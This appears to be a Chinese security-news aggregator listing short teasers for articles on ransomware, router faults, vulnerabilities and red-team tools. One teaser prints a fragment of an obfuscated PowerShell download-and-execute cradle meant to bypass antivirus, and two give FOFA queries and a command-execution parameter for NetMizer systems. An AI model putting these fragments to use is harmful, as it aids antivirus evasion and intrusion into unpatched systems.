免责声明道一安全(本公众号)的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵...
全球范围DrayTek路由器遭遇重启循环故障
点击蓝字 关注我们免责声明本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权...
计算机木马防范知识系列(四)——勒索病毒防范措施介绍
❤点击上方 ⬆⬆⬆关注君说安全!❤分享网络安全知识,提升网络安全认知!让你看到达摩克利斯之剑的另一面!“数据备份是最后的救生艇,而持续的安全意识才是永不沉没的诺亚方舟。”大家好,我是JUN哥,一个普通...
红队实战 | PowerShell混淆绕过杀软
杀软检测机制 绕过语法 set temp=IEX((((((`N""e^w`-""O""b^j^e""c^t ^N""e""T.""W`e""b""C`l^i`e""n""t))))))."D`own...
NetMizer-日志管理系统-cmd.php-远程命令执行漏洞
漏洞描述NetMizer 日志管理系统 cmd.php中存在远程命令执行漏洞,攻击者通过传入 cmd参数即可命令执行漏洞影响NetMizer 日志管理系统FOFAtitle="NetMizer 日志管...
NetMizer-日志管理系统-data-目录遍历漏洞
漏洞描述北京灵州网络技术有限公司NetMizer日志管理系统存在目录遍历漏洞,由于 /data 控制不严格,攻击者可利用该漏洞获取敏感信息。漏洞影响NetMizer 日志管理系统FOFAtitle="...
美杜莎勒索软件利用恶意Windows驱动ABYSSWORKER破坏安全工具
Elastic安全实验室追踪到一起以经济利益为目的的Medusa勒索软件攻击活动,该活动使用HEARTCRYPT加壳的加载器以及已被吊销证书签名的驱动ABYSSWORKER来破坏EDR工具。攻击者使用...
FBI警告:恶意免费在线文档转换工具正大规模传播恶意软件
美国联邦调查局(FBI)发布警告称,黑客正利用恶意在线文档转换工具窃取用户敏感信息并植入恶意软件。丹佛分局在警报中强调:"我们注意到涉及免费在线文档转换工具的诈骗案件激增,敦促受害者及时举报。此类犯罪...
一次数据泄露的排查
近年来数据泄露安全事件频发,在今年的hw网络安全攻防演练中,获取敏感信息、数据泄露等漏洞的得分也越来越高。在实际工作的工作中我们也遇到了一次数据泄露情况,下面就来看看当遇到这种情况时如何进行排查。数据...
工具集:IDOR_detect_tool【API越权漏洞检测工具】
🐉工具介绍 一款API水平越权漏洞检测工具,通过替换认证信息后重放请求,并对比数据包结果,判断接口是否存在越权漏洞。 检测逻辑 流量清洗:过滤掉静态资源和非json响应的请求 公共接口清洗:过滤掉无需...
红队Active Directory侦察利用工具
之前hvv行动搞域渗透的时候,碰到个头疼的事——LDAP协议但凡动一下,SOC那边就会弹十几次告警。尤其查个用户组关系或者改个ACL权限,蓝队兄弟分分钟就能溯源到跳板机。直到在某个凌晨三点半的加班复盘...
极域课堂V6 上课小工具
极域课堂是一款专业的学校机房电脑管理的工具软件。教师可以使用教师机操控机房教室的电脑,查看学生使用电脑的情况等等。而如何脱离老师的掌控又不被老师发现,是莘莘学子一直想实现的。其实,最简单的方法摸过去拔...
27474